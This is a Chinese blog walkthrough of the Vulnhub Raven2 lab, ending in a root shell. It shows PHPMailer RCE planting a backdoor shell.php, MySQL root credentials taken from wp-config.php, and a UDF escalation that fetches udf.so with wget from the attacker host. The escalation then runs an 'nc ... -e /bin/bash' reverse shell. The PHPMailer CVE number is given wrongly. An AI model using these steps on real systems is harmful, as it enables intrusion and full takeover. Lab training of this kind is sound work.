Vulnhub - Raven2

Ch4ser

已于 2024-03-18 08:33:47 修改

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分类专栏： Vulnhub靶机文章标签： Vulnhub Raven2 PHPMailer UDF

于 2024-03-18 08:33:36 首次发布

本文链接：https://blog.csdn.net/qq_46081990/article/details/136796019

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个人博客链接：CH4SER的个人BLOG – Welcome To Ch4ser's Blog

Raven2 靶机下载地址：https://www.vulnhub.com/entry/raven-2,269/

0x01 信息收集

Nmap扫描目标主机，发现开放22、80、111、50511端口，分别运行ssh、http、rpc服务。

┌──(root㉿ch4ser)-[~]
└─# nmap -p- -sV -sC -A 192.168.196.142
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 06:07 CST
Nmap scan report for 192.168.196.142
Host is up (0.00040s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46327/tcp6  status
|   100024  1          50447/udp   status
|   100024  1          50511/tcp   status
|_  100024  1          55930/udp6  status
50511/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:6D:02:A6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口网站页面如下

尝试DirSearch扫描80端口网站目录，发现多个敏感目录及页面信息

访问/vendor页面如下

通过README.md得知该站点部署有PHPMailer，PHPMailer是一个用于发送电子邮件的PHP库，许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件。

通过VERSION得知PHPMailer的版本为5.2.16

通过PATH得知网站根目录为/var/www/html

通过SECURITY.md得知PHPMailer 5.2.18之前的版本存在RCE（CVE-2016-18833）

网上搜索相关资料得知该漏洞成因为PHPMailer未对用户输入的邮件地址、内容进行过滤，将相关变量直接拼接到命令执行函数所造成

前面DirSearch扫到的/contact.php就是该站点发送邮件的地址

除了以上信息，DirSearch还扫到/wordpress，访问发现是一个WordPress站点。

0x02 权限获取 - PHPMailer

尝试使用wpscan扫描WordPress站点，发现使用插件Akismet（反垃圾评论插件），版本为3.3.2

searchsploit搜索Akismet相关利用，发现并不适用于当前版本，在网上也没有找到对应版本的漏洞利用文章

┌──(root㉿ch4ser)-[~]
└─# wpscan --url http://192.168.196.142/wordpress/ --plugins-detection aggressive

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://192.168.196.142/wordpress/wp-content/plugins/akismet/
 | Last Updated: 2024-01-17T22:32:00.000Z
 | Readme: http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/, status: 200
 |
 | Version: 3.3.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.196.142/wordpress/wp-content/plugins/akismet/readme.txt

──(root㉿ch4ser)-[~]
└─# searchsploit akismet                                                         
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities                                                                                                         | php/webapps/37902.php
WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting                                                                                                                            | php/webapps/30036.html
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------

尝试DirSearch重新扫描该WordPress站点，发现多个敏感目录及文件，但是大多都没有权限查看，如网站配置文件/wordpress/wp-config.php

考虑换个思路，从PHPMailer下手。searchsploit搜索PHPMailer相关利用，选择使用40974.py（因为这个老哥写的用法要清晰些）

┌──(root㉿ch4ser)-[~]
└─# searchsploit PHPMailer
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PHPMailer 1.7 - 'Data()' Remote Denial of Service                                                                                                                                | php/dos/25752.txt
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40968.sh
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40970.php
PHPMailer < 5.2.18 - Remote Code Execution                                                                                                                                       | php/webapps/40974.py
PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)                                                                                                                    | multiple/webapps/41688.rb
PHPMailer < 5.2.20 - Remote Code Execution                                                                                                                                       | php/webapps/40969.py
PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Execution                                                   | php/webapps/40986.py
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution                                                                                                                         | php/webapps/42221.py
PHPMailer < 5.2.21 - Local File Disclosure                                                                                                                                       | php/webapps/43056.py
WordPress Plugin PHPMailer 4.6 - Host Header Command Injection (Metasploit)                                                                                                      | php/remote/42024.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# find / -name 40974.py
/root/40974.py
/usr/share/exploitdb/exploits/php/webapps/40974.py
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

根据已知信息，修改站点发送邮件的地址；修改反弹shell的IP和port；修改网站路径、后门地址

具体如下：

执行exp后有如下显示则表示后门已成功写入

Kali开启nc监听4444端口，访问/shell.php，成功收到会话，权限为www-data

进入wordpress目录，查看之前的网站配置文件wp-config.php，发现MySQL数据库root账户密码

┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.196.142: inverse host lookup failed: Unknown host
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.142] 51557
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Raven:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/var/www/html$ ls
Security - Doc	contact.zip    fonts	   js		 shell.php  wordpress
about.html	css	       img	   scss		 team.html
contact.php	elements.html  index.html  service.html  vendor
www-data@Raven:/var/www/html$ cd wordpress; cat wp-config.php
............
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

0x03 权限提升 - UDF

由于拿到了MySQL的root账户密码，所以尝试进行UDF提权，首先需要连上数据库，探测一下当前环境是否符合UDF提权条件。

得知当前MySQL版本为5.5.6>5.2，secure_file_priv为空代表可以写入，插件路径为/usr/lib/mysql/plugin/，综上所述，符合UDF提权条件。

www-data@Raven:/var/www/html/wordpress$ mysql -uroot -pR@v3nSecurity

mysql> select version();
select version();
+-----------------+
| version()       |
+-----------------+
| 5.5.60-0+deb8u1 |
+-----------------+
1 row in set (0.00 sec)

mysql> show variables like '%secure%';
show variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

mysql> show variables like '%plugin%';
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

UDF提权一般分为手工和工具梭哈两种，如果选择使用MDUT之类的工具梭哈，那么需要解决MySQL默认禁止root外联的问题，可以执行以下SQL语句解决：

GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;

这里我演示手工提权，searchsploit搜索udf提权exp，gcc编译为udf.so（类似windows的dll动态链接库文件），将其放到Kali的网站根目录下，以便目标主机wget下载。

┌──(root㉿ch4ser)-[~]
└─# searchsploit mysql udf
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)                                                                                                           | linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)                                                                                                          | linux/local/1518.c
MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution                                                                                                                | windows/remote/3274.txt
MySQL 4/5/6 - UDF for Command Execution                                                                                                                                          | linux/local/7856.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# find / -name 1518.c  
/root/1518.c
/usr/share/exploitdb/exploits/linux/local/1518.c
                                                                                                                                                                                                                                                                                                                                                                                                                                      
┌──(root㉿ch4ser)-[~]
└─# cp /usr/share/exploitdb/exploits/linux/local/1518.c ./  
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[~]
└─# mv udf.so /var/www/html/

目标主机会话这边切换到/tmp目录再wget下载udf.so

www-data@Raven:/var/www/html$ cd /tmp
www-data@Raven:/tmp$ wget 192.168.196.128/udf.so
www-data@Raven:/tmp$ ls
udf.so

来到mysql数据库，创建ch4ser表

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table ch4ser(line blob);
create table ch4ser(line blob);
Query OK, 0 rows affected (0.00 sec)

往ch4ser表中插入二进制的/tmp/udf.so，其中line为任意列名，blob为二进制大对象格式

mysql> insert into ch4ser values(load_file('/tmp/udf.so'));
insert into ch4ser values(load_file('/tmp/udf.so'));
Query OK, 1 row affected (0.00 sec)

导出/tmp/udf.so到/usr/lib/mysql/plugin/目录下

为什么不直接将udf.so直接下载到插件目录/usr/lib/mysql/plugin/是因为当前权限是www-data，大概率是不够的，这里是通过MySQL的root用户权限将/tmp/udf.so导出到了/usr/lib/mysql/plugin/目录

mysql> select * from ch4ser into dumpfile '/usr/lib/mysql/plugin/udf.so';
select * from ch4ser into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)

创建do_system自定义函数（函数名任意），执行bash反弹命令，Kali这边nc监听6666端口。

mysql> create function do_system returns integer soname 'udf.so';
create function do_system returns integer soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select do_system('nc 192.168.196.128 6666 -e /bin/bash');

成功收到会话，拿到root权限和flag

┌──(root㉿ch4ser)-[~]
└─# nc -lvvp 6666                      
listening on [any] 6666 ...
192.168.196.142: inverse host lookup failed: Unknown host
connect to [192.168.196.128] from (UNKNOWN) [192.168.196.142] 59541
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
flag4.txt
cat flag4.txt
  ___                   ___ ___ 
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | | 
 |_|_\__,_|\_/\___|_||_|___|___|
                           
flag4{df2bc5e951d91581467bb9a2a8ff4425}

CONGRATULATIONS on successfully rooting RavenII

I hope you enjoyed this second interation of the Raven VM

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io

Ch4ser

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Vulnhub - Raven2

usr/lib/mysql/plugin/是因为当前权限是www-data，大概率是不够的，这里是通过MySQL的root用户权限将/tmp/udf.so导出到了/usr/lib/mysql/plugin/目录。得知当前MySQL版本为5.5.6>5.2，secure_file_priv为空代表可以写入，插件路径为/usr/lib/mysql/plugin/，综上所述，符合UDF提权条件。Kali开启nc监听4444端口，访问/shell.php，成功收到会话，权限为www-data。
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